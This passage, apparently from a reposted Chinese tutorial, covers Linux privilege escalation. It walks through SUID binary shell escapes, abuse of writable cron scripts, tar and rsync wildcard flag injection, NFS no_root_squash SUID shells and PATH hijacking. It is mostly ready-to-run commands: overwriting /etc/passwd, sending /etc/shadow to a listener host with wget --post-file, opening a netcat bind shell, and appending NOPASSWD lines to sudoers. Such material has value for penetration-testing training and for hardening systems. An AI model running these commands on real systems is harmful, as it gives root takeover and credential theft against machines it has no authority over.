  • 首先將Target的/ etc / passwd文件復(fù)制到攻擊者計(jì)算機(jī)。
  • 修改文件,并在上一步中保存的密碼文件中添加用戶(hù)到攻擊者計(jì)算機(jī)。
  • 僅附加此行=> touhid**$ 6 $ bxwJfzor $ MUhUWO0MUgdkWfPPEydqgZpm.YtPMI / gaM4lVqhP21LFNWmSJ821kvJnIyoODYtBh.SF9aR7ciQBRCcw5bgjX0 / 0broot / root:**
  • 將passwd文件托管到使用任何Web服務(wù)器的主機(jī)。

在受害者方面。

sudo wget http://192.168.56.1:8080/passwd -O / etc / passwd

現(xiàn)在切換用戶(hù)密碼是:test

su touhid

注意:如果您要從服務(wù)器上轉(zhuǎn)儲(chǔ)文件,例如rootssh密鑰,shadow文件等。

sudo wget —post-file = / etc / shadow 192.168.56.1:8080

攻擊者的設(shè)置偵聽(tīng)器:nc –lvp 8080

使用apache命令

但是,我們無(wú)法獲得Shell和Cant編輯系統(tǒng)文件。

但是使用它我們可以查看系統(tǒng)文件。

sudo apache2 -f / etc / shadow

輸出是這樣的:

Syntax error on line 1 of /etc/shadow:Invalid command 'root:$6$bxwJfzor$MUhUWO0MUgdkWfPPEydqgZpm.YtPMI/gaM4lVqhP21LFNWmSJ821kvJnIyoODYtBh.SF9aR7ciQBRCcw5bgjX0:17298:0:99999:7:::', perhaps misspelled or defined by a module not included in the server configuration

可悲的是沒(méi)有shell。但是我們可以現(xiàn)在提取root哈希,然后在破解了哈希。

0x006 linux提權(quán)-Suid和Guid配置錯(cuò)誤

描述

SUID代表設(shè)置的用戶(hù)ID,是一種Linux功能,允許用戶(hù)在指定用戶(hù)的許可下執(zhí)行文件。例如,Linux ping命令通常需要root權(quán)限才能打開(kāi)網(wǎng)絡(luò)套接字。通過(guò)將ping程序標(biāo)記為SUID(所有者為root),只要低特權(quán)用戶(hù)執(zhí)行ping程序,便會(huì)以root特權(quán)執(zhí)行ping。

SUID(設(shè)置用戶(hù)ID)是賦予文件的一種權(quán)限,它會(huì)出現(xiàn)在文件擁有者權(quán)限的執(zhí)行位上,具有這種權(quán)限的文件會(huì)在其執(zhí)行時(shí),使調(diào)用者暫時(shí)獲得該文件擁有者的權(quán)限。

當(dāng)運(yùn)行具有suid權(quán)限的二進(jìn)制文件時(shí),它將以其他用戶(hù)身份運(yùn)行,因此具有其他用戶(hù)特權(quán)。它可以是root用戶(hù),也可以只是另一個(gè)用戶(hù)。如果在程序中設(shè)置了suid,該位可以生成shell或以其他方式濫用,我們可以使用它來(lái)提升我們的特權(quán)。

以下是一些可用于產(chǎn)生SHELL的程序:

nmap

vim

less more

nano

cpmv

find

查找suidguid文件

Find SUID find / -perm -u=s -type f 2>/dev/null Find GUID find / -perm -g=s -type f 2>/dev/null

其他命令

命令結(jié)果
find / -perm -4000 -type f 2>/dev/null查找SUID文件
find / -uid 0 -perm -4000 -type f 2>/dev/null查找root擁有的SUID文件
find / -perm -2000 -type f 2>/dev/null查找SGID文件(粘性位)
find / ! -path “/proc/“ -perm -2 -type f -print 2>/dev/null查找世界可寫(xiě)文件,不包括proc文件
find / -type f ‘(‘ -name .cert -or -name .crt -or -name .pem -or -name .ca -or -name .p12 -or -name .cer -name .der ‘)’ ‘(‘ ‘(‘ -user support -perm -u=r ‘)’ -or ‘(‘ -group support -perm -g=r ‘)’ -or ‘(‘ -perm -o=r ‘)’ ‘)’ 2> /dev/null-or -name .cer -name *.der ‘)’ 2> /dev/null查找您可以閱讀的密鑰或證書(shū)
find /home –name *.rhosts -print 2>/dev/null查找rhost配置文件
find /etc -iname hosts.equiv -exec ls -la {} 2>/dev/null ; -exec cat {} 2>/dev/null ;查找hosts.equiv,列出權(quán)限并管理文件內(nèi)容
cat ~/.bash_history顯示當(dāng)前用戶(hù)歷史記錄
ls -la ~/.*_history向當(dāng)前用戶(hù)分發(fā)各種歷史文件
ls -la ~/.ssh/檢查當(dāng)前用戶(hù)的ssh文件
find /etc -maxdepth 1 -name ‘.conf’ -type f要么ls -la /etc/.conf在/ etc中列出配置文件(深度1,在第一個(gè)命令中修改maxdepth參數(shù)以對(duì)其進(jìn)行更改)
lsofgrep ‘/home//etc//opt/‘顯示可能有趣的打開(kāi)文件

也可以使用 sudo -l 命令列出當(dāng)前用戶(hù)可執(zhí)行的命令

常用提權(quán)方式

nmap

find / -perm -u = s -type f 2> / dev / null –查找設(shè)置了SUID位的可執(zhí)行文件

ls -la / usr / local / bin / nmap –讓我們確認(rèn)nmap是否設(shè)置了SUID位。

Nmap的SUID位置1。很多時(shí)候,管理員將SUID位設(shè)置為nmap,以便可以有效地掃描網(wǎng)絡(luò),因?yàn)槿绻皇褂胷oot特權(quán)運(yùn)行它,則所有的nmap掃描技術(shù)都將無(wú)法使用。

但是,nmap(2.02-5.21)存在交換模式,可利用提權(quán),我們可以在此模式下以交互方式運(yùn)行nmap,從而可以轉(zhuǎn)至shell。如果nmap設(shè)置了SUID位,它將以root特權(quán)運(yùn)行,我們可以通過(guò)其交互模式訪問(wèn)’root’shell。

nmap –interactive –運(yùn)行nmap交互模式!sh –我們可以從nmap shell轉(zhuǎn)到系統(tǒng)shell

msf中的模塊為:

exploit/unix/local/setuid_nmap

較新版可使用 —script 參數(shù):

echo “os.execute(‘/bin/sh’)” > /tmp/shell.nse && sudo nmap —script=/tmp/shell.nse

find

touch test

nc 反彈 shell:

find test -exec netcat -lvp 5555 -e /bin/sh ;

vi/vim

Vim的主要用途是用作文本編輯器。但是,如果以SUID運(yùn)行,它將繼承root用戶(hù)的權(quán)限,因此可以讀取系統(tǒng)上的所有文件。

打開(kāi)vim,按下ESC

:set shell=/bin/sh:shell

或者

sudo vim -c ‘!sh’

bash

以下命令將以root身份打開(kāi)一個(gè)bash shell

bash -pbash-3.2# iduid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)

less

程序Less也可以執(zhí)行提權(quán)后的shell。同樣的方法也適用于其他許多命令。

less /etc/passwd!/bin/sh

more

more /home/pelle/myfile!/bin/bash

cp

覆蓋 /etc/shadow 或 /etc/passwd

[zabbix@localhost ~]$ cat /etc/passwd >passwd[zabbix@localhost ~]$ openssl passwd -1 -salt hack hack123$1$hack$WTn0dk2QjNeKfl.DHOUue0[zabbix@localhost ~]$ echo 'hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/bin/bash' >> passwd[zabbix@localhost ~]$ cp passwd /etc/passwd[zabbix@localhost ~]$ su - hackPassword:[root@361way ~]# iduid=0(hack) gid=0(root) groups=0(root)[root@361way ~]# cat /etc/passwd|tail -1hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/bin/bash

mv

覆蓋 /etc/shadow 或 /etc/passwd

[zabbix@localhost ~]$ cat /etc/passwd >passwd[zabbix@localhost ~]$ openssl passwd -1 -salt hack hack123$1$hack$WTn0dk2QjNeKfl.DHOUue0[zabbix@localhost ~]$ echo 'hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/bin/bash' >> passwd[zabbix@localhost ~]$ mv passwd /etc/passwd[zabbix@localhost ~]$ su - hackPassword:[root@361way ~]# iduid=0(hack) gid=0(root) groups=0(root)[root@361way ~]# cat /etc/passwd|tail -1hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/bin/bash

nano

nano /etc/passwd

awk

awk ‘BEGIN {system(“/bin/sh”)}’

man

man passwd!/bin/bash

wget

wget http://192.168.56.1:8080/passwd -O /etc/passwd

apache

僅可查看文件,不能彈 shell:

apache2 -f /etc/shadow

tcpdump

echo $’idncat /etc/shadow’ > /tmp/.testchmod +x /tmp/.testsudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root

python/perl/ruby/lua/php/etc

python

python -c “import os;os.system(‘/bin/bash’)”

perl

exec “/bin/bash”;

0x007 linux提權(quán)—利用定時(shí)任務(wù)(Cron jobs)

如果未正確配置Cronjob,則可以利用該Cronjob獲得root特權(quán)。

1. Cronjob中是否有可寫(xiě)的腳本或二進(jìn)制文件?
2.我們可以覆蓋cron文件本身嗎?
3. cron.d目錄可寫(xiě)嗎?

Cronjob通常以root特權(quán)運(yùn)行。如果我們可以成功篡改cronjob中定義的任何腳本或二進(jìn)制文件,那么我們可以以root特權(quán)執(zhí)行任意代碼。

什么是Cronjob?

Cron Jobs被用于通過(guò)在服務(wù)器上的特定日期和時(shí)間執(zhí)行命令來(lái)安排任務(wù)。它們最常用于sysadmin任務(wù),如備份或清理/tmp/目錄等。Cron這個(gè)詞來(lái)自crontab,它存在于/etc目錄中。

例如:在crontab內(nèi)部,我們可以添加以下條目,以每1小時(shí)自動(dòng)打印一次apache錯(cuò)誤日志。

11 0 * * * printf “” > /var/log/apache/error_log

前五個(gè)數(shù)字值表示執(zhí)行cronjob的時(shí)間。現(xiàn)在讓我們了解五個(gè)數(shù)字值。

  • 分鐘–第一個(gè)值表示介于0到59之間的分鐘范圍,而*表示任何分鐘。
  • 小時(shí)–第二個(gè)值表示小時(shí)范圍在0到24之間,*表示任何小時(shí)。
  • 月中的某天–第三個(gè)值表示月中的某日,范圍是1到31,*表示任何一天。
  • 月–第四個(gè)值表示1到12之間的月份范圍,*表示任何月份。
  • 星期幾–第五個(gè)值表示從星期天開(kāi)始的星期幾,介于0到6之間,*表示星期幾。

簡(jiǎn)而言之呢,crontab就是一個(gè)自定義定時(shí)器。

Cron特權(quán)升級(jí)概述

cron守護(hù)程序計(jì)劃在指定的日期和時(shí)間運(yùn)行命令。它與特定用戶(hù)一起運(yùn)行命令。因此,我們可以嘗試濫用它來(lái)實(shí)現(xiàn)特權(quán)升級(jí)。

濫用cron的一個(gè)好方法是,

1.檢查cron運(yùn)行的腳本的文件權(quán)限。如果權(quán)限設(shè)置不正確,則攻擊者可能會(huì)覆蓋文件并輕松獲取cron中設(shè)置的用戶(hù)權(quán)限。

2.另一種方法是使用通配符技巧

Cron**信息收集**

一些基本命令收集一些線索,以使用錯(cuò)誤配置的cron實(shí)現(xiàn)特權(quán)升級(jí)。

命令結(jié)果crontab -l顯示當(dāng)前用戶(hù)的cronls -la /etc/cron*顯示計(jì)劃的作業(yè)概述

具有特權(quán)的運(yùn)行腳本,其他用戶(hù)可以編輯該腳本。

查找特權(quán)用戶(hù)擁有但可寫(xiě)的任何內(nèi)容:

crontab -lls -alh /var/spool/cronls -al /etc/ | grep cronls -al /etc/croncat /etc/croncat /etc/at.allowcat /etc/at.denycat /etc/cron.allowcat /etc/cron.denycat /etc/crontabcat /etc/anacrontabcat /var/spool/cron/crontabs/root

查看其他用戶(hù)的crontab

$ crontab -u tstark -l0 0 / jarvis / reboot-arc-reactor

如果服務(wù)器上有很多用戶(hù),那么可以在cron日志中看到詳細(xì)信息,可能包含用戶(hù)名。

例如,在這里我可以看到運(yùn)行數(shù)據(jù)庫(kù)備份腳本的ubuntu用戶(hù):

8月5日4:05:01 dev01 CRON [2128]:(ubuntu)CMD(/var/cronitor/database-backup.sh)

使用pspy工具(32位為pspy3264位為pspy64)。

下載鏈接:https://github.com/DominicBreuker/pspy

利用配置錯(cuò)誤的cronjob獲得root訪問(wèn)權(quán)限

$ ls -la /etc/cron.d –輸出cron.d中已經(jīng)存在的cronjob

find / -perm -2 -type f 2> / dev / null –輸出可寫(xiě)文件

ls -la /usr/local/sbin/cron-logrotate.sh –讓我們確認(rèn)cron-logrotate.sh是否可寫(xiě)。

我們知道cron-lograte.sh是可寫(xiě)的,它由logrotate cronjob運(yùn)行。

那么我們?cè)赾ron-lograte.sh中編寫(xiě)/附加的任何命令都將以“ root”身份執(zhí)行。

我們?cè)? tmp目錄中編寫(xiě)一個(gè)C文件并進(jìn)行編譯。

rootme可執(zhí)行文件將生成一個(gè)shell。

$ ls -la rootme –它告訴我們它是由用戶(hù)'SHayslett'擁有的
$ echo“ chown root:root / tmp / rootme; chmod u + s /tmp/rootme;”>/usr/local/sbin/cron-logrotate.sh –這將更改可執(zhí)行文件的所有者和組為root。它還將設(shè)置SUID位。$ ls -la rootme – 5分鐘后,運(yùn)行了logrotate cronjob,并以root特權(quán)執(zhí)行了cron-logrotate.sh。$ ./rootme –生成一個(gè)root shell。

Cron腳本覆蓋和符號(hào)鏈接

如果可以修改由root執(zhí)行的cron腳本,則可以非常輕松地獲取shell:

echo ‘cp /bin/bash /tmp/bash; chmod +s /tmp/bash’ > #Wait until it is executed/tmp/bash -p#等待執(zhí)行

/ tmp / bash -p

如果root用戶(hù)執(zhí)行的腳本使用具有完全訪問(wèn)權(quán)限目錄,則刪除該文件夾并創(chuàng)建一個(gè)符號(hào)鏈接文件夾到另一個(gè)服務(wù)于您控制的腳本的文件夾可能會(huì)很有用。

ln -d -s < / PATH / TO / POINT > < / PATH / CREATE / FOLDER >

定時(shí)任務(wù)

可以監(jiān)視進(jìn)程以搜索每1,2或5分鐘執(zhí)行的進(jìn)程。可以利用它并提升特權(quán)。

例如,要在1分鐘內(nèi)每隔0.1s監(jiān)視一次按執(zhí)行次數(shù)較少的命令排序并刪除一直執(zhí)行的命令,可以執(zhí)行以下操作:

for i in $(seq 1 610); do ps -e —format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v “[“ | sed ‘/^.{200}./d’ | sort | grep -E -v “s[6-9][0-9][0-9]|s[0-9][0-9][0-9][0-9]”; rm /tmp/monprocs.tmp;

總結(jié)

由于Cron在執(zhí)行時(shí)以root身份運(yùn)行/etc/crontab,因此crontab調(diào)用的任何命令或腳本也將以root身份運(yùn)行。當(dāng)Cron執(zhí)行的腳本可由非特權(quán)用戶(hù)編輯時(shí),那些非特權(quán)用戶(hù)可以通過(guò)編輯此腳本并等待Cron以root特權(quán)執(zhí)行該腳本來(lái)提升其特權(quán)!

例如,假設(shè)下面的行在中/etc/crontab。每天晚上9:30,Cron運(yùn)行maintenance.shshell腳本。該腳本在root特權(quán)下運(yùn)行。

30 21 * root /path/to/maintenance.sh

現(xiàn)在讓我們說(shuō)該maintenance.sh腳本還可以由所有人編輯,而不僅僅是root用戶(hù)。在這種情況下,任何人都可以將命令添加到maintenance.sh,并使該命令由root用戶(hù)執(zhí)行!

這使得特權(quán)升級(jí)變得微不足道。例如,攻擊者可以通過(guò)將自己添加為Sudoer來(lái)向自己授予超級(jí)用戶(hù)特權(quán)。

echo “vickie ALL=(ALL) NOPASSWD:ALL” >> /etc/sudoers

或者,他們可以通過(guò)將新的root用戶(hù)添加到“ / etc / passwd”文件來(lái)獲得root訪問(wèn)權(quán)限。由于“ 0”是root用戶(hù)的UID,因此添加UID為“ 0”的用戶(hù)將為該用戶(hù)提供root特權(quán)。該用戶(hù)的用戶(hù)名為“ vickie”,密碼為空:

echo “vickie::0:0:System Administrator:/root/root:/bin/bash” >> /etc/passwd

等等。

0x008 linux提權(quán)-通配符注入

通配符是代表其他字符的符號(hào)。您可以將它們與任何命令(例如cat或rm命令)一起使用,以列出或刪除符合給定條件的文件。還有其他一些,但是現(xiàn)在對(duì)我們很重要的一個(gè)是*字符,它可以匹配任意數(shù)量的字符。

例如:

  • cat 顯示當(dāng)前目錄中所有文件的內(nèi)容
  • rm 刪除當(dāng)前目錄中的所有文件

它的工作原理是將角色擴(kuò)展到所有匹配的文件。如果我們有文件a,b并且c在當(dāng)前目錄中并運(yùn)行rm ,則結(jié)果為rm a b c。

原理

眾所周知,我們可以在命令行中將標(biāo)志傳遞給程序以指示其應(yīng)如何運(yùn)行。例如,如果我們使用rm -rf而不是,rm那么它將遞歸并強(qiáng)制刪除文件,而無(wú)需進(jìn)一步提示。

現(xiàn)在,如果我們運(yùn)行rm 并在當(dāng)前目錄中有一個(gè)名為name的文件,將會(huì)發(fā)生什么-rf?的Shell擴(kuò)展將導(dǎo)致命令變?yōu)椋瑀m -rf a b c并且-rf將被解釋為命令參數(shù)。

當(dāng)特權(quán)用戶(hù)或腳本在具有潛在危險(xiǎn)標(biāo)志的命令中使用通配符時(shí),尤其是與外部命令執(zhí)行相關(guān)的通配符,這是一個(gè)壞消息。在這些情況下,我們可能會(huì)使用它來(lái)升級(jí)特權(quán)。

chown和chmod

chown和chmod都可以用相同的方式利用,因此我只看看chown。

Chown是一個(gè)程序,可讓您更改指定文件的所有者。以下示例將some-file.txt的所有者更改為some-user:

chown some-user some-file.txt

Chown具有一個(gè)—reference=some-reference-file標(biāo)志,該標(biāo)志指定文件的所有者應(yīng)與參考文件的所有者相同。一個(gè)例子應(yīng)該有幫助:

chown some-user some-file.txt —reference=some-reference-file

假設(shè)的所有者some-reference-file是another-user。在這種情況下,所有者some-file.txt將another-user代替some-user。

利用

假設(shè)我們有一個(gè)名為弱勢(shì)程序的脆弱程序,其中包含以下內(nèi)容:

cd some-directorychown root *

在這種情況下,讓我們創(chuàng)建一個(gè)我們擁有的文件:

cd some-directory touch reference

然后我們創(chuàng)建一個(gè)文件,將注入標(biāo)記:

touch — —reference=reference

如果在同一目錄中創(chuàng)建到/ etc / passwd的符號(hào)鏈接,則/ etc / passwd的所有者也將是您,這將使您獲得root shell。

其他

TAR

Tar是一個(gè)程序,可讓您將文件收集到存檔中。

在tar中,有“檢查點(diǎn)”標(biāo)志,這些標(biāo)志使您可以在歸檔指定數(shù)量的文件后執(zhí)行操作。由于我們可以使用通配符注入來(lái)注入那些標(biāo)志,因此我們可以使用檢查點(diǎn)來(lái)執(zhí)行我們選擇的命令。如果tar以root用戶(hù)身份運(yùn)行,則命令也將以root用戶(hù)身份運(yùn)行。

鑒于存在此漏洞,獲得root用戶(hù)特權(quán)的一種簡(jiǎn)單方法是使自己成為sudoer。sudoer是可以承擔(dān)root特權(quán)的用戶(hù)。這些用戶(hù)在/etc/sudoers文件中指定。只需在該文件上追加一行,我們就可以使自己變得更輕松。

利用

假設(shè)我們有一個(gè)易受攻擊的程序,并且使用cron定期運(yùn)行該程序。該程序包含以下內(nèi)容:

cd important-directorytar cf /var/backups/backup.tar *

進(jìn)行根訪問(wèn)的步驟如下:

1)注入一個(gè)標(biāo)志來(lái)指定我們的檢查點(diǎn)

首先,我們將指定在歸檔一個(gè)文件之后,有一個(gè)檢查點(diǎn)。稍后我們將對(duì)該檢查點(diǎn)執(zhí)行操作,但是現(xiàn)在我們僅告訴tar它存在。

讓我們創(chuàng)建一個(gè)將注入標(biāo)記的文件:

cd important-directorytouch — —checkpoint=1

2)編寫(xiě)惡意的Shell腳本

Shell腳本將/etc/sudoers在其后追加代碼,這會(huì)使您變得更加無(wú)禮。

您需要添加到的行/etc/sudoers是my-user ALL=(root) NOPASSWD: ALL。

讓我們創(chuàng)建shell腳本:

echo ‘echo “my-user ALL=(root) NOPASSWD: ALL” >> /etc/sudoers’ > demo.sh

Shell腳本應(yīng)與通配符位于同一目錄中。

請(qǐng)注意,我們將必須更改my-user為要成為sudoer的實(shí)際用戶(hù)。

3)注入一個(gè)指定檢查點(diǎn)動(dòng)作的標(biāo)志

現(xiàn)在,我們將指定,當(dāng)tar到達(dá)在步驟#1中指定的檢查點(diǎn)時(shí),它應(yīng)運(yùn)行在步驟#2中創(chuàng)建的shell腳本:

touch — “—checkpoint-action=exec=sh demo.sh”

4root

等待,直到cron執(zhí)行了腳本并通過(guò)鍵入以下內(nèi)容獲得root特權(quán):

sudo su

rsync

Rsync是“快速,通用,遠(yuǎn)程(和本地)文件復(fù)制工具”,在linux系統(tǒng)上非常常見(jiàn)。

與rsync一起使用的一些有趣的標(biāo)志是:

-e, —rsh=COMMAND specify the remote shell to use —rsync-path=PROGRAM specify the rsync to run on remote machine

我們可以使用該-e標(biāo)志來(lái)運(yùn)行所需的任何Shell腳本。讓我們創(chuàng)建一個(gè)shell腳本,它將我們添加到sudoers文件中:

echo ‘echo “my-user ALL=(root) NOPASSWD: ALL” >> /etc/sudoers’ > shell.sh

現(xiàn)在讓我們注入將運(yùn)行我們的shell腳本的標(biāo)志:

touch — “-e sh shell.sh”

0x009 Linux提權(quán)-NFS權(quán)限弱

如果您在linu服務(wù)器上具有低特權(quán)shell,并且發(fā)現(xiàn)服務(wù)器中具有NFS共享,則可以使用它來(lái)升級(jí)特權(quán)。但是成功取決于它的配置方式。

目錄

    1. 什么是NFS?
    2. 什么是root_sqaush和no_root_sqaush?
    3. 所需的工具和程序文件。
    4. 利用NFS弱權(quán)限。

什么是NFS?

網(wǎng)絡(luò)文件系統(tǒng)(NFS)是一個(gè)客戶(hù)端/服務(wù)器應(yīng)用程序,它使計(jì)算機(jī)用戶(hù)可以查看和選擇存儲(chǔ)和更新遠(yuǎn)程計(jì)算機(jī)上的文件,就像它們位于用戶(hù)自己的計(jì)算機(jī)上一樣。在NFS協(xié)議是幾個(gè)分布式文件系統(tǒng)標(biāo)準(zhǔn),網(wǎng)絡(luò)附加存儲(chǔ)(NAS)之一。

NFS是基于UDP/IP協(xié)議的應(yīng)用,其實(shí)現(xiàn)主要是采用遠(yuǎn)程過(guò)程調(diào)用RPC機(jī)制,RPC提供了一組與機(jī)器、操作系統(tǒng)以及低層傳送協(xié)議無(wú)關(guān)的存取遠(yuǎn)程文件的操作。RPC采用了XDR的支持。XDR是一種與機(jī)器無(wú)關(guān)的數(shù)據(jù)描述編碼的協(xié)議,他以獨(dú)立與任意機(jī)器體系結(jié)構(gòu)的格式對(duì)網(wǎng)上傳送的數(shù)據(jù)進(jìn)行編碼和解碼,支持在異構(gòu)系統(tǒng)之間數(shù)據(jù)的傳送。

什么是root_sqaush和no_root_sqaush?

Root Squashing(root_sqaush)參數(shù)阻止對(duì)連接到NFS卷的遠(yuǎn)程root用戶(hù)具有root訪問(wèn)權(quán)限。遠(yuǎn)程根用戶(hù)在連接時(shí)會(huì)分配一個(gè)用戶(hù)“ nfsnobody”,它具有最少的本地特權(quán)。如果no_root_squash選項(xiàng)開(kāi)啟的話(huà)”,并為遠(yuǎn)程用戶(hù)授予root用戶(hù)對(duì)所連接系統(tǒng)的訪問(wèn)權(quán)限。在配置NFS驅(qū)動(dòng)器時(shí),系統(tǒng)管理員應(yīng)始終使用“ root_squash”參數(shù)。

注意:要利用此,**no_root_squash選項(xiàng)得開(kāi)啟**。

利用NFS并獲取Root Shell

現(xiàn)在,我們拿到了一個(gè)低權(quán)限的shell,我們查看“ / etc / exports ”文件。

/ etc / exports文件包含將哪些文件夾/文件系統(tǒng)導(dǎo)出到遠(yuǎn)程用戶(hù)的配置和權(quán)限。

這個(gè)文件的內(nèi)容非常簡(jiǎn)單,每一行由拋出路徑,客戶(hù)名列表以及每個(gè)客戶(hù)名后緊跟的訪問(wèn)選項(xiàng)構(gòu)成:[共享的目錄](méi) [主機(jī)名或IP(參數(shù),參數(shù))]其中參數(shù)是可選的,當(dāng)不指定參數(shù)時(shí),nfs將使用默認(rèn)選項(xiàng)。默認(rèn)的共享選項(xiàng)是 sync,ro,root_squash,no_delay。當(dāng)主機(jī)名或IP地址為空時(shí),則代表共享給任意客戶(hù)機(jī)提供服務(wù)。當(dāng)將同一目錄共享給多個(gè)客戶(hù)機(jī),但對(duì)每個(gè)客戶(hù)機(jī)提供的權(quán)限不同時(shí),可以這樣:[共享的目錄](méi) [主機(jī)名1或IP1(參數(shù)1,參數(shù)2)] [主機(jī)名2或IP2(參數(shù)3,參數(shù)4)]

干貨|一文吃透Linux提權(quán)

 

我們可以看到/ tmp 文件夾是可共享的,遠(yuǎn)程用戶(hù)可以?huà)燧d它。還有不安全的參數(shù)“ rw ”(讀,寫(xiě)),“ sync ”和“ no_root_squash

同樣我們也可以使用 showmount命令來(lái)查看。

showmount命令用于查詢(xún)NFS服務(wù)器的相關(guān)信息

showmount —help

Usage: showmount [-adehv]

[—all] [—directories] [—exports]

[—no-headers] [—help] [—version] [host] -a或—all

以 host:dir 這樣的格式來(lái)顯示客戶(hù)主機(jī)名和掛載點(diǎn)目錄。

-d或—directories 僅顯示被客戶(hù)掛載的目錄名。

-e或—exports 顯示NFS服務(wù)器的輸出清單。

-h或—help 顯示幫助信息。

-v或—version 顯示版本信。

—no-headers 禁止輸出描述頭部信息。顯示NFS客戶(hù)端信息 #

showmount 顯示指定NFS服務(wù)器連接NFS客戶(hù)端的信息

# showmount 192.168.1.1  #此ip為nfs服務(wù)器的 顯示輸出目錄列表
# showmount -e 顯示指定NFS服務(wù)器輸出目錄列表(也稱(chēng)為共享目錄列表)
# showmount -e 192.168.1.1 顯示被掛載的共享目錄
# showmount -d   顯示客戶(hù)端信息和共享目錄
# showmount -a 顯示指定NFS服務(wù)器的客戶(hù)端信息和共享目錄
# showmount -a 192.168.1.1

這里不多說(shuō)了

我們接下來(lái)在我們的攻擊機(jī)上安裝客戶(hù)端工具

需要執(zhí)行以下命令,安裝nfs-common軟件包。apt會(huì)自動(dòng)安裝nfs-common、rpcbind等12個(gè)軟件包

sudo apt install nfs-commonapt-get install cifs-utils

然后輸入命令

showmount -e [IP地址]

干貨|一文吃透Linux提權(quán)

 

創(chuàng)建目錄以?huà)燧d遠(yuǎn)程系統(tǒng)。

mkdir / tmp / test

在**/tmp/test上裝載Remote/tmp**文件夾:

mount -o rw,vers = 2 [IP地址]:/ tmp / tmp / test

干貨|一文吃透Linux提權(quán)

 

然后在/tmp/test/中。新建一個(gè)c文件。

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h> int main() { setuid(0); system("/bin/bash"); return 0; }

也可以

echo ‘int main() { setgid(0); setuid(0); system(“/bin/bash”); return 0; }’ > /tmp/test/suid-shell.c

編譯:

gcc /tmp/test/suid-shell.c -o / tmp / 1 / suid-shel

賦權(quán):

chmod + s /tmp/test/suid-shell.c

好的,我們回到要提權(quán)的服務(wù)器上

干貨|一文吃透Linux提權(quán)

 

cd / tmp./suid-shell

可以看到是ROOT權(quán)限了

0x0010 linux提權(quán)-利用“.”路徑配置錯(cuò)誤

有“.” 在PATH中表示用戶(hù)可以從當(dāng)前目錄執(zhí)行二進(jìn)制文件/腳本。但是一些管理員為了避免每次都必須輸入這兩個(gè)額外的字符,他們?cè)谟脩?hù)中添加“。”在他們的PATH中。對(duì)于攻擊者而言,這是提升其特權(quán)的絕佳方法。

放置.路徑

如果在PATH中放置點(diǎn),則無(wú)需編寫(xiě)./binary即可執(zhí)行它。那么我們將能夠執(zhí)行當(dāng)前目錄中的任何腳本或二進(jìn)制文件。

假設(shè)小明是管理員,而她添加了“。” 在她的PATH上,這樣她就不必再輸入兩個(gè)字符了去執(zhí)行腳本或二進(jìn)制文件。

帶“。” 在路徑中–program

不帶“。” 在路徑中-./program

發(fā)生這種情況是因?yàn)長(zhǎng)inux首先在“.”位置搜索程序。但是添加到PATH的開(kāi)頭后,就在其他任何地方搜索。

另一個(gè)用戶(hù)“小白”知道小明添加了“.” 在PATH中,

小白告訴小明’ls’命令在他的目錄中不起作用

小白在他的目錄中添加代碼,這將更改sudoers文件并使他成為管理員

小白將該代碼存儲(chǔ)在名為“ ls”并使其可執(zhí)行

小明具有root特權(quán)。她來(lái)了,并在小白的主目錄中執(zhí)行了’ls’命令

惡意代碼不是通過(guò)原始的’ls’命令而是通過(guò)root訪問(wèn)來(lái)執(zhí)行

在另存為“ ls”的文件中,添加了一個(gè)代碼,該代碼將打印“ Hello world”

$ PATH = .:$ {PATH} –添加’.’ 在PATH變量中

干貨|一文吃透Linux提權(quán)

 


干貨|一文吃透Linux提權(quán)

 

$ ls –執(zhí)行的./ls文件,而不是運(yùn)行列表命令。

現(xiàn)在,如果root用戶(hù)以root特權(quán)執(zhí)行代碼,我們可以使用root特權(quán)實(shí)現(xiàn)任意代碼執(zhí)行。

干貨|一文吃透Linux提權(quán)

分享到:
標(biāo)簽:Linux 提權(quán)
用戶(hù)無(wú)頭像

網(wǎng)友整理

注冊(cè)時(shí)間:

網(wǎng)站:5 個(gè)   小程序:0 個(gè)  文章:12 篇

  • 51998

    網(wǎng)站

  • 12

    小程序

  • 1030137

    文章

  • 747

    會(huì)員

趕快注冊(cè)賬號(hào),推廣您的網(wǎng)站吧!
最新入駐小程序

數(shù)獨(dú)大挑戰(zhàn)2018-06-03

數(shù)獨(dú)一種數(shù)學(xué)游戲,玩家需要根據(jù)9

答題星2018-06-03

您可以通過(guò)答題星輕松地創(chuàng)建試卷

全階人生考試2018-06-03

各種考試題,題庫(kù),初中,高中,大學(xué)四六

運(yùn)動(dòng)步數(shù)有氧達(dá)人2018-06-03

記錄運(yùn)動(dòng)步數(shù),積累氧氣值。還可偷

每日養(yǎng)生app2018-06-03

每日養(yǎng)生,天天健康

體育訓(xùn)練成績(jī)?cè)u(píng)定2018-06-03

通用課目體育訓(xùn)練成績(jī)?cè)u(píng)定